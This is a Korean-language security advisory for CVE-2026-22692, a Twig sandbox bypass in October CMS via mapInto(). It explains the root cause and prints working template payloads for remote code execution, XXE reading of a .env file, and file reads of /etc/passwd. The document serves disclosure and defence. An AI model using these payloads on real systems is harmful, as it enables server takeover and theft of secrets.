
CVE-2026-22692 - October CMS에서 collect()->mapInto()를 통한 치명적인 Twig 샌드박스 우회로 RCE/LFI/XXE 허용
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-22692 |
| 심각도 | Moderate (CVSS:3.1 4.9) |
| 보안 권고 | GHSA-m5qg-jc75-4jp6 |
| 영향을 받는 제품 | October CMS (<= 4.1.4, <= 3.7.12) |
| 취약점 유형 | Twig 샌드박스 우회 -> RCE, LFI, XXE |
| 발견자 | Lukasz Rybak |
October CMS Twig 샌드박스(Safe Mode)에 템플릿 편집 권한이 있는 인증된 사용자가 보안 제한을 우회하여 서버에서 임의의 PHP 코드를 실행(RCE)하거나 임의의 파일을 읽을 수 있는(XXE/LFI) 치명적인 취약점이 존재합니다.
근본 원인은 October\Rain\Support\SafeCollection에 있습니다. 이 클래스는 CallsAnyMethod 인터페이스를 구현하는데, 이 인터페이스는 System\Twig\SecurityPolicy가 컬렉션 객체 자체에 대한 표준 메서드 허용 목록(allow-list)을 우회하도록 지시합니다.
SafeCollection은 호출 가능한(callable) 객체의 직접 실행을 방지하기 위해 인자를 필터링하려고 시도하지만, mapInto($class) 메서드를 차단하지는 않습니다. mapInto 메서드는 컬렉션을 반복하면서 제공된 클래스 이름을 인스턴스화합니다:
new $class($value, $key);
이로 인해 공격자는 애플리케이션에 알려진 모든 클래스를 인스턴스화할 수 있습니다.
System\Twig\SecurityPolicy는 모든 객체의 __toString() 메서드를 명시적으로 허용 목록에 포함합니다. 공격자는 Psy\Readline\Hoa\Xcallable(호출 가능한 객체를 래핑)을 인스턴스화하고 이를 GuzzleHttp\Psr7\FnStream(자체 __toString 메서드에서 _fn___toString 속성을 통해 사용자 정의 함수를 호출) 내부에 래핑하여, 인자가 필요 없는 임의의 PHP 함수(예: php_uname, phpinfo)를 Twig에서 객체를 출력하는 것만으로 실행시킬 수 있습니다.
SimpleXMLElement 클래스는 두 번째 생성자 인자로 libxml 옵션 플래그를 받습니다. mapInto()는 컬렉션 키를 생성자의 두 번째 인자로 전달합니다. 공격자는 키가 2(이는 LIBXML_NOENT에 해당)인 컬렉션을 생성하여 SimpleXMLElement에서 외부 엔티티 치환을 활성화할 수 있으며, 이를 통해 즉각적인 XXE 및 시스템 파일 읽기가 가능합니다.
네이티브 PHP SplFileObject 클래스를 사용하는 보다 직접적인 로컬 파일 포함(LFI) 취약점이 존재합니다. 공격자는 파일 경로와 읽기 모드(mapInto를 통해 전달)로 SplFileObject를 인스턴스화하여 순회 가능한(traversable) 파일 객체를 얻습니다. 이 객체를 collect() 헬퍼에 전달하면 (프레임워크 코어 내부의 iterator_to_array를 통해) 즉시 반복이 트리거되며, 이는 샌드박스의 메서드 차단 정책을 우회합니다. 이를 통해 XML 지원이나 특정 벤더 라이브러리 없이도 웹 서버가 접근할 수 있는 모든 파일을 읽을 수 있습니다.
CMS_SAFE_MODE=truephp_uname 실행){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env 파일 읽기){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
SplFileObject를 통한 /etc/passwd 읽기){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
원격 코드 실행(RCE), 로컬 파일 포함(LFI), XML 외부 엔티티 주입(XXE).
/etc/passwd, 데이터베이스 구성, .env 등)을 여러 벡터(SimpleXMLElement 또는 SplFileObject)를 통해 읽을 수 있음.이는 신뢰할 수 없거나 반신뢰할 수 있는 사용자가 CMS 템플릿 편집기에 접근할 수 있는 모든 October CMS 설치에 영향을 미치며, 사실상 시스템 관리자 / 루트 수준 권한으로 권한을 상승시킬 수 있습니다.
이 CVE는 조율된 취약점 공개(Coordinated Vulnerability Disclosure) 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.